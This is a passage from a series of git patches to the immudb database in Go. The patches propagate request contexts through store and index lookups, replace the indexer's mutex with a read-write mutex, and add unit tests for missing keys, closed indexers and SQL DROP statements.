snap.GetWithFilters(e.key, e.filters...) + valRef, err := snap.GetWithFilters(ctx, e.key, e.filters...) if errors.Is(err, ErrKeyNotFound) { if e.expectedTx > 0 { return ErrTxReadConflict @@ -631,7 +631,7 @@ func (tx *OngoingTx) checkPreconditions(st *ImmuStore) error { continue } - key, valRef, err := snap.GetWithPrefixAndFilters(e.prefix, e.neq, e.filters...) + key, valRef, err := snap.GetWithPrefixAndFilters(ctx, e.prefix, e.neq, e.filters...) if errors.Is(err, ErrKeyNotFound) { if e.expectedTx > 0 { return ErrTxReadConflict @@ -676,9 +676,9 @@ func (tx *OngoingTx) checkPreconditions(st *ImmuStore) error { if len(key) == 0 { if eRead.initialTxID == 0 && eRead.finalTxID == 0 { - key, valRef, err = reader.Read() + key, valRef, err = reader.Read(ctx) } else { - key, valRef, err = reader.ReadBetween(eRead.initialTxID, eRead.finalTxID) + key, valRef, err = reader.ReadBetween(ctx, eRead.initialTxID, eRead.finalTxID) } if err != nil && !errors.Is(err, ErrNoMoreEntries) { diff --git a/embedded/store/ongoing_tx_keyreader.go b/embedded/store/ongoing_tx_keyreader.go index b27848dccc..07717f3b2c 100644 --- a/embedded/store/ongoing_tx_keyreader.go +++ b/embedded/store/ongoing_tx_keyreader.go @@ -16,7 +16,10 @@ limitations under the License. package store -import "errors" +import ( + "context" + "errors" +) type expectedReader struct { spec KeyReaderSpec @@ -90,16 +93,16 @@ func newOngoingTxKeyReader(tx *OngoingTx, spec KeyReaderSpec) (*ongoingTxKeyRead }, nil } -func (r *ongoingTxKeyReader) Read() (key []byte, val ValueRef, err error) { - return r.ReadBetween(0, 0) +func (r *ongoingTxKeyReader) Read(ctx context.Context) (key []byte, val ValueRef, err error) { + return r.ReadBetween(ctx, 0, 0) } -func (r *ongoingTxKeyReader) ReadBetween(initialTxID, finalTxID uint64) (key []byte, valRef ValueRef, err error) { +func (r *ongoingTxKeyReader) ReadBetween(ctx context.Context, initialTxID, finalTxID uint64) (key []byte, valRef ValueRef, err error) { for { if initialTxID == 0 && finalTxID == 0 { - key, valRef, err = r.keyReader.Read() + key, valRef, err = r.keyReader.Read(ctx) } else { - key, valRef, err = r.keyReader.ReadBetween(initialTxID, finalTxID) + key, valRef, err = r.keyReader.ReadBetween(ctx, initialTxID, finalTxID) } if errors.Is(err, ErrNoMoreEntries) { diff --git a/embedded/store/ongoing_tx_test.go b/embedded/store/ongoing_tx_test.go index be22f47822..1c146ddaa7 100644 --- a/embedded/store/ongoing_tx_test.go +++ b/embedded/store/ongoing_tx_test.go @@ -17,6 +17,7 @@ limitations under the License. package store import ( + "context" "testing" "time" @@ -51,11 +52,11 @@ func TestOngoingTxCheckPreconditionsCornerCases(t *testing.T) { otx := &OngoingTx{} - err = otx.checkPreconditions(st) + err = otx.checkPreconditions(context.Background(), st) require.NoError(t, err) otx.preconditions = []Precondition{nil} - err = otx.checkPreconditions(st) + err = otx.checkPreconditions(context.Background(), st) require.ErrorIs(t, err, ErrInvalidPrecondition) require.ErrorIs(t, err, ErrInvalidPreconditionNull) @@ -65,19 +66,19 @@ func TestOngoingTxCheckPreconditionsCornerCases(t *testing.T) { otx.preconditions = []Precondition{ &PreconditionKeyMustExist{Key: []byte{1}}, } - err = otx.checkPreconditions(st) + err = otx.checkPreconditions(context.Background(), st) require.ErrorIs(t, err, ErrAlreadyClosed) otx.preconditions = []Precondition{ &PreconditionKeyMustNotExist{Key: []byte{1}}, } - err = otx.checkPreconditions(st) + err = otx.checkPreconditions(context.Background(), st) require.ErrorIs(t, err, ErrAlreadyClosed) otx.preconditions = []Precondition{ &PreconditionKeyNotModifiedAfterTx{Key: []byte{1}, TxID: 1}, } - err = otx.checkPreconditions(st) + err = otx.checkPreconditions(context.Background(), st) require.ErrorIs(t, err, ErrAlreadyClosed) } diff --git a/embedded/store/preconditions.go b/embedded/store/preconditions.go index f52cd68a1b..42de4f4031 100644 --- a/embedded/store/preconditions.go +++ b/embedded/store/preconditions.go @@ -17,6 +17,7 @@ limitations under the License. package store import ( + "context" "errors" "github.com/codenotary/immudb/embedded/tbtree" @@ -29,7 +30,7 @@ type Precondition interface { Validate(st *ImmuStore) error // Check performs the validation on a current state of the database - Check(idx KeyIndex) (bool, error) + Check(ctx context.Context, idx KeyIndex) (bool, error) } type PreconditionKeyMustExist struct { @@ -50,8 +51,8 @@ func (cs *PreconditionKeyMustExist) Validate(st *ImmuStore) error { return nil } -func (cs *PreconditionKeyMustExist) Check(idx KeyIndex) (bool, error) { - _, err := idx.Get(cs.Key) +func (cs *PreconditionKeyMustExist) Check(ctx context.Context, idx KeyIndex) (bool, error) { + _, err := idx.Get(ctx, cs.Key) if err != nil && !errors.Is(err, tbtree.ErrKeyNotFound) { return false, err } @@ -77,8 +78,8 @@ func (cs *PreconditionKeyMustNotExist) Validate(st *ImmuStore) error { return nil } -func (cs *PreconditionKeyMustNotExist) Check(idx KeyIndex) (bool, error) { - _, err := idx.Get(cs.Key) +func (cs *PreconditionKeyMustNotExist) Check(ctx context.Context, idx KeyIndex) (bool, error) { + _, err := idx.Get(ctx, cs.Key) if err != nil && !errors.Is(err, tbtree.ErrKeyNotFound) { return false, err } @@ -109,9 +110,9 @@ func (cs *PreconditionKeyNotModifiedAfterTx) Validate(st *ImmuStore) error { return nil } -func (cs *PreconditionKeyNotModifiedAfterTx) Check(idx KeyIndex) (bool, error) { +func (cs *PreconditionKeyNotModifiedAfterTx) Check(ctx context.Context, idx KeyIndex) (bool, error) { // get the latest entry (it could be deleted or even expired) - valRef, err := idx.GetWithFilters(cs.Key) + valRef, err := idx.GetWithFilters(ctx, cs.Key) if err != nil && errors.Is(err, ErrKeyNotFound) { // key does not exist thus not modified at all return true, nil diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index 046f646711..a9f89f2150 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -2629,7 +2629,7 @@ func (lv *leafValue) lastUpdateBetween(hLog appendable.Appendable, initialTs, fi return nil, 0, 0, ErrKeyNotFound } - if tv.Ts <= finalTs { + if finalTs == 0 || tv.Ts <= finalTs { return tv.Value, tv.Ts, lv.historyCount() - uint64(i), nil } } diff --git a/embedded/tools/stress_tool/stress_tool.go b/embedded/tools/stress_tool/stress_tool.go index 7e7dba4afb..a9b77ac612 100644 --- a/embedded/tools/stress_tool/stress_tool.go +++ b/embedded/tools/stress_tool/stress_tool.go @@ -162,7 +162,7 @@ func main() { } defer snap.Close() - valRef, err := snap.Get([]byte(*key)) + valRef, err := snap.Get(context.Background(), []byte(*key)) if err != nil { panic(err) } From afe11828628599b36ce71fe8ac6d1f9c8669dbdd Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 6 Sep 2023 18:21:12 -0300 Subject: [PATCH 0772/1062] chore(pkg/database): context propagation Signed-off-by: Jeronimo Irazabal --- pkg/database/all_ops.go | 6 +++--- pkg/database/database.go | 40 ++++++++++++++++++++------------------ pkg/database/reference.go | 4 ++-- pkg/database/scan.go | 4 ++-- pkg/database/sorted_set.go | 6 +++--- pkg/database/sql.go | 8 ++++---- 6 files changed, 35 insertions(+), 33 deletions(-) diff --git a/pkg/database/all_ops.go b/pkg/database/all_ops.go index 1d1ae52c2f..7c4a1daad1 100644 --- a/pkg/database/all_ops.go +++ b/pkg/database/all_ops.go @@ -106,7 +106,7 @@ func (d *db) ExecAll(ctx context.Context, req *schema.ExecAllRequest) (*schema.T if !req.NoWait { // check key does not exists or it's already a reference - entry, err := d.getAtTx(EncodeKey(x.Ref.Key), 0, 0, index, 0, true) + entry, err := d.getAtTx(ctx, EncodeKey(x.Ref.Key), 0, 0, index, 0, true) if err != nil && err != store.ErrKeyNotFound { return nil, nil, err } @@ -116,7 +116,7 @@ func (d *db) ExecAll(ctx context.Context, req *schema.ExecAllRequest) (*schema.T if !exists || x.Ref.AtTx > 0 { // check referenced key exists and it's not a reference - refEntry, err := d.getAtTx(EncodeKey(x.Ref.ReferencedKey), x.Ref.AtTx, 0, index, 0, true) + refEntry, err := d.getAtTx(ctx, EncodeKey(x.Ref.ReferencedKey), x.Ref.AtTx, 0, index, 0, true) if err != nil { return nil, nil, err } @@ -169,7 +169,7 @@ func (d *db) ExecAll(ctx context.Context, req *schema.ExecAllRequest) (*schema.T if !req.NoWait { if !exists || x.ZAdd.AtTx > 0 { // check referenced key exists and it's not a reference - refEntry, err := d.getAtTx(EncodeKey(x.ZAdd.Key), x.ZAdd.AtTx, 0, index, 0, true) + refEntry, err := d.getAtTx(ctx, EncodeKey(x.ZAdd.Key), x.ZAdd.AtTx, 0, index, 0, true) if err != nil { return nil, nil, err } diff --git a/pkg/database/database.go b/pkg/database/database.go index a2a7e8f0fa..9cba7875e6 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -515,17 +515,18 @@ func (d *db) Get(ctx context.Context, req *schema.KeyRequest) (*schema.Entry, er } if req.AtRevision != 0 { - return d.getAtRevision(EncodeKey(req.Key), req.AtRevision, true) + return d.getAtRevision(ctx, EncodeKey(req.Key), req.AtRevision, true) } - return d.getAtTx(EncodeKey(req.Key), req.AtTx, 0, d.st, 0, true) + return d.getAtTx(ctx, EncodeKey(req.Key), req.AtTx, 0, d.st, 0, true) } -func (d *db) get(key []byte, index store.KeyIndex, skipIntegrityCheck bool) (*schema.Entry, error) { - return d.getAtTx(key, 0, 0, index, 0, skipIntegrityCheck) +func (d *db) get(ctx context.Context, key []byte, index store.KeyIndex, skipIntegrityCheck bool) (*schema.Entry, error) { + return d.getAtTx(ctx, key, 0, 0, index, 0, skipIntegrityCheck) } func (d *db) getAtTx( + ctx context.Context, key []byte, atTx uint64, resolved int, @@ -537,9 +538,9 @@ func (d *db) getAtTx( var valRef store.ValueRef if atTx == 0 { - valRef, err = index.Get(key) + valRef, err = index.Get(ctx, key) } else { - valRef, err = index.GetBetween(key, atTx, atTx) + valRef, err = index.GetBetween(ctx, key, atTx, atTx) } if err != nil { return nil, err @@ -550,10 +551,10 @@ func (d *db) getAtTx( return nil, err } - return d.resolveValue(key, val, resolved, valRef.Tx(), valRef.KVMetadata(), index, valRef.HC(), skipIntegrityCheck) + return d.resolveValue(ctx, key, val, resolved, valRef.Tx(), valRef.KVMetadata(), index, valRef.HC(), skipIntegrityCheck) } -func (d *db) getAtRevision(key []byte, atRevision int64, skipIntegrityCheck bool) (entry *schema.Entry, err error) { +func (d *db) getAtRevision(ctx context.Context, key []byte, atRevision int64, skipIntegrityCheck bool) (entry *schema.Entry, err error) { var offset uint64 var desc bool @@ -577,7 +578,7 @@ func (d *db) getAtRevision(key []byte, atRevision int64, skipIntegrityCheck bool atRevision = int64(hCount) + atRevision } - entry, err = d.getAtTx(key, valRefs[0].Tx(), 0, d.st, uint64(atRevision), skipIntegrityCheck) + entry, err = d.getAtTx(ctx, key, valRefs[0].Tx(), 0, d.st, uint64(atRevision), skipIntegrityCheck) if err != nil { return nil, err } @@ -586,6 +587,7 @@ func (d *db) getAtRevision(key []byte, atRevision int64, skipIntegrityCheck bool } func (d *db) resolveValue( + ctx context.Context, key []byte, val []byte, resolved int, @@ -618,7 +620,7 @@ func (d *db) resolveValue( copy(refKey, val[1+8:]) if index != nil { - entry, err = d.getAtTx(refKey, atTx, resolved+1, index, 0, skipIntegrityCheck) + entry, err = d.getAtTx(ctx, refKey, atTx, resolved+1, index, 0, skipIntegrityCheck) if err != nil { return nil, err } @@ -859,7 +861,7 @@ func (d *db) Delete(ctx context.Context, req *schema.DeleteKeysRequest) (*schema e := EncodeEntrySpec(k, md, nil) - err = tx.Delete(e.Key) + err = tx.Delete(ctx, e.Key) if err != nil { return nil, err } @@ -889,7 +891,7 @@ func (d *db) GetAll(ctx context.Context, req *schema.KeyListRequest) (*schema.En list := &schema.Entries{} for _, key := range req.Keys { - e, err := d.get(EncodeKey(key), snap, true) + e, err := d.get(ctx, EncodeKey(key), snap, true) if err == nil || errors.Is(err, store.ErrKeyNotFound) { if e != nil { list.Entries = append(list.Entries, e) @@ -930,7 +932,7 @@ func (d *db) Count(ctx context.Context, prefix *schema.KeyPrefix) (*schema.Entry count := 0 for { - _, _, err := keyReader.Read() + _, _, err := keyReader.Read(ctx) if errors.Is(err, store.ErrNoMoreEntries) { break } @@ -978,7 +980,7 @@ func (d *db) TxByID(ctx context.Context, req *schema.TxRequest) (*schema.Tx, err return nil, err } - return d.serializeTx(tx, req.EntriesSpec, snap, true) + return d.serializeTx(ctx, tx, req.EntriesSpec, snap, true) } func (d *db) snapshotSince(ctx context.Context, prefix []byte, txID uint64) (*store.Snapshot, error) { @@ -996,7 +998,7 @@ func (d *db) snapshotSince(ctx context.Context, prefix []byte, txID uint64) (*st return d.st.SnapshotMustIncludeTxID(ctx, prefix, waitUntilTx) } -func (d *db) serializeTx(tx *store.Tx, spec *schema.EntriesSpec, snap *store.Snapshot, skipIntegrityCheck bool) (*schema.Tx, error) { +func (d *db) serializeTx(ctx context.Context, tx *store.Tx, spec *schema.EntriesSpec, snap *store.Snapshot, skipIntegrityCheck bool) (*schema.Tx, error) { if spec == nil { return schema.TxToProto(tx), nil } @@ -1039,7 +1041,7 @@ func (d *db) serializeTx(tx *store.Tx, spec *schema.EntriesSpec, snap *store.Sna index = snap } - kve, err := d.resolveValue(e.Key(), v, 0, tx.Header().ID, e.Metadata(), index, 0, skipIntegrityCheck) + kve, err := d.resolveValue(ctx, e.Key(), v, 0, tx.Header().ID, e.Metadata(), index, 0, skipIntegrityCheck) if errors.Is(err, store.ErrKeyNotFound) || errors.Is(err, store.ErrExpiredEntry) { // ignore deleted ones (referenced key may have been deleted) break @@ -1097,7 +1099,7 @@ func (d *db) serializeTx(tx *store.Tx, spec *schema.EntriesSpec, snap *store.Sna var err error if snap != nil { - entry, err = d.getAtTx(key, atTx, 1, snap, 0, skipIntegrityCheck) + entry, err = d.getAtTx(ctx, key, atTx, 1, snap, 0, skipIntegrityCheck) if errors.Is(err, store.ErrKeyNotFound) || errors.Is(err, store.ErrExpiredEntry) { // ignore deleted ones (referenced key may have been deleted) break @@ -1441,7 +1443,7 @@ func (d *db) VerifiableTxByID(ctx context.Context, req *schema.VerifiableTxReque return nil, err } - sReqTx, err := d.serializeTx(reqTx, req.EntriesSpec, snap, true) + sReqTx, err := d.serializeTx(ctx, reqTx, req.EntriesSpec, snap, true) if err != nil { return nil, err } @@ -1497,7 +1499,7 @@ func (d *db) TxScan(ctx context.Context, req *schema.TxScanRequest) (*schema.TxL return nil, err } - sTx, err := d.serializeTx(tx, req.EntriesSpec, snap, true) + sTx, err := d.serializeTx(ctx, tx, req.EntriesSpec, snap, true) if err != nil { return nil, err } diff --git a/pkg/database/reference.go b/pkg/database/reference.go index 47748106c1..9b9bcacfdd 100644 --- a/pkg/database/reference.go +++ b/pkg/database/reference.go @@ -53,7 +53,7 @@ func (d *db) SetReference(ctx context.Context, req *schema.ReferenceRequest) (*s } // check key does not exists or it's already a reference - entry, err := d.getAtTx(EncodeKey(req.Key), req.AtTx, 0, d.st, 0, true) + entry, err := d.getAtTx(ctx, EncodeKey(req.Key), req.AtTx, 0, d.st, 0, true) if err != nil && err != store.ErrKeyNotFound { return nil, err } @@ -62,7 +62,7 @@ func (d *db) SetReference(ctx context.Context, req *schema.ReferenceRequest) (*s } // check referenced key exists and it's not a reference - refEntry, err := d.getAtTx(EncodeKey(req.ReferencedKey), req.AtTx, 0, d.st, 0, true) + refEntry, err := d.getAtTx(ctx, EncodeKey(req.ReferencedKey), req.AtTx, 0, d.st, 0, true) if err != nil { return nil, err } diff --git a/pkg/database/scan.go b/pkg/database/scan.go index 54c62da9aa..504f0e13af 100644 --- a/pkg/database/scan.go +++ b/pkg/database/scan.go @@ -83,7 +83,7 @@ func (d *db) Scan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries entries := &schema.Entries{} for l := 1; l <= limit; l++ { - key, valRef, err := r.Read() + key, valRef, err := r.Read(ctx) if errors.Is(err, store.ErrNoMoreEntries) { break } @@ -91,7 +91,7 @@ func (d *db) Scan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries return nil, err } - e, err := d.getAtTx(key, valRef.Tx(), 0, snap, valRef.HC(), true) + e, err := d.getAtTx(ctx, key, valRef.Tx(), 0, snap, valRef.HC(), true) if errors.Is(err, store.ErrKeyNotFound) { // ignore deleted ones (referenced key may have been deleted) continue diff --git a/pkg/database/sorted_set.go b/pkg/database/sorted_set.go index 49f7d79b64..cc47237313 100644 --- a/pkg/database/sorted_set.go +++ b/pkg/database/sorted_set.go @@ -62,7 +62,7 @@ func (d *db) ZAdd(ctx context.Context, req *schema.ZAddRequest) (*schema.TxHeade // check referenced key exists and it's not a reference key := EncodeKey(req.Key) - refEntry, err := d.getAtTx(key, req.AtTx, 0, d.st, 0, true) + refEntry, err := d.getAtTx(ctx, key, req.AtTx, 0, d.st, 0, true) if err != nil { return nil, err } @@ -187,7 +187,7 @@ func (d *db) ZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntr entries := &schema.ZEntries{} for l := 1; l <= limit; l++ { - zKey, _, err := r.Read() + zKey, _, err := r.Read(ctx) if errors.Is(err, store.ErrNoMoreEntries) { break } @@ -214,7 +214,7 @@ func (d *db) ZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntr atTx := binary.BigEndian.Uint64(zKey[keyOff+len(key):]) - e, err := d.getAtTx(key, atTx, 1, kvsnap, 0, true) + e, err := d.getAtTx(ctx, key, atTx, 1, kvsnap, 0, true) if errors.Is(err, store.ErrKeyNotFound) { // ignore deleted ones (referenced key may have been deleted) continue diff --git a/pkg/database/sql.go b/pkg/database/sql.go index 4313bded3b..2efc8b822d 100644 --- a/pkg/database/sql.go +++ b/pkg/database/sql.go @@ -84,7 +84,7 @@ func (d *db) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetR valbuf.Bytes(), valbuf.Bytes()) - e, err := d.sqlGetAt(pkKey, req.SqlGetRequest.AtTx, d.st, true) + e, err := d.sqlGetAt(ctx, pkKey, req.SqlGetRequest.AtTx, d.st, true) if err != nil { return nil, err } @@ -177,13 +177,13 @@ func (d *db) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetR }, nil } -func (d *db) sqlGetAt(key []byte, atTx uint64, index store.KeyIndex, skipIntegrityCheck bool) (entry *schema.SQLEntry, err error) { +func (d *db) sqlGetAt(ctx context.Context, key []byte, atTx uint64, index store.KeyIndex, skipIntegrityCheck bool) (entry *schema.SQLEntry, err error) { var valRef store.ValueRef if atTx == 0 { - valRef, err = index.Get(key) + valRef, err = index.Get(ctx, key) } else { - valRef, err = index.GetBetween(key, atTx, atTx) + valRef, err = index.GetBetween(ctx, key, atTx, atTx) } if err != nil { return nil, err From 475af6519483b7b5ce058fe6b961dae8514196c2 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 6 Sep 2023 19:31:56 -0300 Subject: [PATCH 0773/1062] chore(pkg/database): context propagation Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 13 +++++++++- embedded/store/immustore.go | 5 ---- embedded/store/indexer.go | 49 ++++++++++++++++++++----------------- 3 files changed, 38 insertions(+), 29 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index c2a8239f76..da23ff6bb9 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -1189,7 +1189,18 @@ func (e *Engine) getDocument(key []byte, valRef store.ValueRef) (docAtRevision * } func (e *Engine) getEncodedDocument(ctx context.Context, key []byte, atTx uint64) (encDoc *EncodedDocument, err error) { - valRef, err := e.sqlEngine.GetStore().GetBetween(ctx, key, atTx, atTx) + err = e.sqlEngine.GetStore().WaitForIndexingUpto(ctx, atTx) + if err != nil { + return nil, err + } + + var valRef store.ValueRef + + if atTx == 0 { + valRef, err = e.sqlEngine.GetStore().Get(ctx, key) + } else { + valRef, err = e.sqlEngine.GetStore().GetBetween(ctx, key, atTx, atTx) + } if errors.Is(err, store.ErrKeyNotFound) { return nil, ErrDocumentNotFound } diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 269c86dc7d..4f71127488 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -915,11 +915,6 @@ func (s *ImmuStore) GetBetween(ctx context.Context, key []byte, initialTxID uint return nil, err } - err = indexer.WaitForIndexingUpto(ctx, finalTxID) - if err != nil { - return nil, err - } - indexedVal, tx, hc, err := indexer.GetBetween(key, initialTxID, finalTxID) if err != nil { return nil, err diff --git a/embedded/store/indexer.go b/embedded/store/indexer.go index feccd51cb8..e1d89f6df1 100644 --- a/embedded/store/indexer.go +++ b/embedded/store/indexer.go @@ -62,7 +62,7 @@ type indexer struct { closed bool compactionMutex sync.Mutex - mutex sync.Mutex + rwmutex sync.RWMutex metricsLastCommittedTrx prometheus.Gauge metricsLastIndexedTrx prometheus.Gauge @@ -166,8 +166,8 @@ func newIndexer(path string, store *ImmuStore, opts *Options) (*indexer, error) } func (idx *indexer) init(spec *IndexSpec) { - idx.mutex.Lock() - defer idx.mutex.Unlock() + idx.rwmutex.Lock() + defer idx.rwmutex.Unlock() idx.spec = spec @@ -179,19 +179,22 @@ func (idx *indexer) Prefix() []byte { } func (idx *indexer) Ts() uint64 { - idx.mutex.Lock() - defer idx.mutex.Unlock() + idx.rwmutex.RLock() + defer idx.rwmutex.RUnlock() return idx.index.Ts() } func (idx *indexer) SyncSnapshot() (*tbtree.Snapshot, error) { + idx.rwmutex.RLock() + defer idx.rwmutex.RUnlock() + return idx.index.SyncSnapshot() } func (idx *indexer) Get(key []byte) (value []byte, tx uint64, hc uint64, err error) { - idx.mutex.Lock() - defer idx.mutex.Unlock() + idx.rwmutex.RLock() + defer idx.rwmutex.RUnlock() if idx.closed { return nil, 0, 0, ErrAlreadyClosed @@ -201,8 +204,8 @@ func (idx *indexer) Get(key []byte) (value []byte, tx uint64, hc uint64, err err } func (idx *indexer) GetBetween(key []byte, initialTxID uint64, finalTxID uint64) (value []byte, tx uint64, hc uint64, err error) { - idx.mutex.Lock() - defer idx.mutex.Unlock() + idx.rwmutex.RLock() + defer idx.rwmutex.RUnlock() if idx.closed { return nil, 0, 0, ErrAlreadyClosed @@ -212,8 +215,8 @@ func (idx *indexer) GetBetween(key []byte, initialTxID uint64, finalTxID uint64) } func (idx *indexer) History(key []byte, offset uint64, descOrder bool, limit int) (timedValues []tbtree.TimedValue, hCount uint64, err error) { - idx.mutex.Lock() - defer idx.mutex.Unlock() + idx.rwmutex.RLock() + defer idx.rwmutex.RUnlock() if idx.closed { return nil, 0, ErrAlreadyClosed @@ -226,8 +229,8 @@ func (idx *indexer) Snapshot() (*tbtree.Snapshot, error) { idx.compactionMutex.Lock() defer idx.compactionMutex.Unlock() - idx.mutex.Lock() - defer idx.mutex.Unlock() + idx.rwmutex.RLock() + defer idx.rwmutex.RUnlock() if idx.closed { return nil, ErrAlreadyClosed @@ -240,8 +243,8 @@ func (idx *indexer) SnapshotMustIncludeTxIDWithRenewalPeriod(ctx context.Context idx.compactionMutex.Lock() defer idx.compactionMutex.Unlock() - idx.mutex.Lock() - defer idx.mutex.Unlock() + idx.rwmutex.RLock() + defer idx.rwmutex.RUnlock() if idx.closed { return nil, ErrAlreadyClosed @@ -256,8 +259,8 @@ func (idx *indexer) SnapshotMustIncludeTxIDWithRenewalPeriod(ctx context.Context } func (idx *indexer) GetWithPrefix(prefix []byte, neq []byte) (key []byte, value []byte, tx uint64, hc uint64, err error) { - idx.mutex.Lock() - defer idx.mutex.Unlock() + idx.rwmutex.RLock() + defer idx.rwmutex.RUnlock() if idx.closed { return nil, nil, 0, 0, ErrAlreadyClosed @@ -267,8 +270,8 @@ func (idx *indexer) GetWithPrefix(prefix []byte, neq []byte) (key []byte, value } func (idx *indexer) Sync() error { - idx.mutex.Lock() - defer idx.mutex.Unlock() + idx.rwmutex.RLock() + defer idx.rwmutex.RUnlock() if idx.closed { return ErrAlreadyClosed @@ -281,8 +284,8 @@ func (idx *indexer) Close() error { idx.compactionMutex.Lock() defer idx.compactionMutex.Unlock() - idx.mutex.Lock() - defer idx.mutex.Unlock() + idx.rwmutex.RLock() + defer idx.rwmutex.RUnlock() if idx.closed { return ErrAlreadyClosed @@ -371,8 +374,8 @@ func (idx *indexer) resume() { } func (idx *indexer) restartIndex() error { - idx.mutex.Lock() - defer idx.mutex.Unlock() + idx.rwmutex.Lock() + defer idx.rwmutex.Unlock() if idx.closed { return ErrAlreadyClosed From bdeba1e003255ea159e47e10b00c1776849947bc Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 7 Sep 2023 16:08:19 -0300 Subject: [PATCH 0774/1062] test(pkg/database): minor test coverage improvements Signed-off-by: Jeronimo Irazabal --- embedded/sql/parser_test.go | 17 +++++++++++++++++ embedded/store/immustore_test.go | 22 ++++++++++++++++++++++ embedded/store/indexer_test.go | 3 +++ embedded/store/ongoing_tx.go | 3 +++ embedded/tbtree/snapshot_test.go | 18 ++++++++++++++++++ embedded/tbtree/tbtree_test.go | 6 ++++++ pkg/database/database.go | 20 -------------------- pkg/database/database_test.go | 2 +- pkg/database/dboptions.go | 13 ------------- pkg/database/dboptions_test.go | 3 --- pkg/database/document_database_test.go | 3 +-- pkg/database/scan_test.go | 2 +- pkg/server/server_test.go | 19 +++++++------------ pkg/truncator/truncator_test.go | 2 +- 14 files changed, 80 insertions(+), 53 deletions(-) diff --git a/embedded/sql/parser_test.go b/embedded/sql/parser_test.go index c724eac133..edb8b41033 100644 --- a/embedded/sql/parser_test.go +++ b/embedded/sql/parser_test.go @@ -281,6 +281,14 @@ func TestCreateTableStmt(t *testing.T) { expectedOutput: []SQLStmt{&CreateTableStmt{table: "table1"}}, expectedError: errors.New("syntax error: unexpected ')', expecting IDENTIFIER at position 21"), }, + { + input: "DROP TABLE table1", + expectedOutput: []SQLStmt{ + &DropTableStmt{ + table: "table1", + }}, + expectedError: nil, + }, } for i, tc := range testCases { @@ -329,6 +337,15 @@ func TestCreateIndexStmt(t *testing.T) { expectedOutput: []SQLStmt{&CreateIndexStmt{unique: true, table: "table1", cols: []string{"id", "title"}}}, expectedError: nil, }, + { + input: "DROP INDEX ON table1(id, title)", + expectedOutput: []SQLStmt{ + &DropIndexStmt{ + table: "table1", + cols: []string{"id", "title"}, + }}, + expectedError: nil, + }, } for i, tc := range testCases { diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 4758e218fb..e4534cc529 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -5091,6 +5091,12 @@ func TestIndexingChanges(t *testing.T) { _, err = tx2.Get(context.Background(), []byte("k1")) require.NoError(t, err) + _, err = tx2.Get(context.Background(), []byte("k2")) + require.ErrorIs(t, err, ErrKeyNotFound) + + _, _, err = tx2.GetWithPrefixAndFilters(context.Background(), []byte("k2"), []byte("k2")) + require.ErrorIs(t, err, ErrKeyNotFound) + err = tx2.Cancel() require.NoError(t, err) @@ -5142,6 +5148,22 @@ func TestIndexingChanges(t *testing.T) { _, err = tx5.Get(context.Background(), []byte("k1")) require.ErrorIs(t, err, ErrKeyNotFound) + _, err = st.GetBetween(context.Background(), []byte("k1"), 1, 1) + require.ErrorIs(t, err, ErrKeyNotFound) + + _, _, err = tx5.GetWithPrefixAndFilters(context.Background(), []byte("k1"), []byte("k1")) + require.ErrorIs(t, err, ErrKeyNotFound) + err = tx5.Cancel() require.NoError(t, err) + + _, err = st.Get(context.Background(), []byte("m1")) + require.ErrorIs(t, err, ErrKeyNotFound) + + _, err = st.GetBetween(context.Background(), []byte("m1"), 1, 2) + require.ErrorIs(t, err, ErrKeyNotFound) + + _, _, err = st.GetWithPrefixAndFilters(context.Background(), []byte("k1"), []byte("k1")) + require.ErrorIs(t, err, ErrKeyNotFound) + } diff --git a/embedded/store/indexer_test.go b/embedded/store/indexer_test.go index 588c778da1..b88781c863 100644 --- a/embedded/store/indexer_test.go +++ b/embedded/store/indexer_test.go @@ -206,6 +206,9 @@ func TestClosedIndexer(t *testing.T) { assert.Error(t, err) assert.ErrorIs(t, err, ErrAlreadyClosed) + _, _, _, err = i.GetBetween(dummy, 1, 2) + assert.ErrorIs(t, err, ErrAlreadyClosed) + _, _, _, _, err = i.GetWithPrefix(dummy, dummy) assert.ErrorIs(t, err, ErrAlreadyClosed) diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index a93601f92d..0e4328ad5d 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -437,6 +437,9 @@ func (tx *OngoingTx) GetWithPrefixAndFilters(ctx context.Context, prefix, neq [] snap, err := tx.snap(prefix) if err != nil { + if errors.Is(err, ErrIndexNotFound) { + return nil, nil, ErrKeyNotFound + } return nil, nil, err } diff --git a/embedded/tbtree/snapshot_test.go b/embedded/tbtree/snapshot_test.go index 78f8c6bf29..6b8da8e5bc 100644 --- a/embedded/tbtree/snapshot_test.go +++ b/embedded/tbtree/snapshot_test.go @@ -54,6 +54,9 @@ func TestSnapshotSerialization(t *testing.T) { _, _, _, err = snapshot.Get(nil) require.ErrorIs(t, err, ErrIllegalArguments) + _, _, _, err = snapshot.GetBetween(nil, 1, 2) + require.ErrorIs(t, err, ErrIllegalArguments) + _, _, err = snapshot.History(nil, 0, false, 1) require.ErrorIs(t, err, ErrIllegalArguments) @@ -104,6 +107,9 @@ func TestSnapshotClosing(t *testing.T) { _, _, _, err = snapshot.Get([]byte{}) require.ErrorIs(t, err, ErrAlreadyClosed) + _, _, _, err = snapshot.GetBetween([]byte{}, 1, 1) + require.ErrorIs(t, err, ErrAlreadyClosed) + _, _, err = snapshot.History([]byte{}, 0, false, 1) require.ErrorIs(t, err, 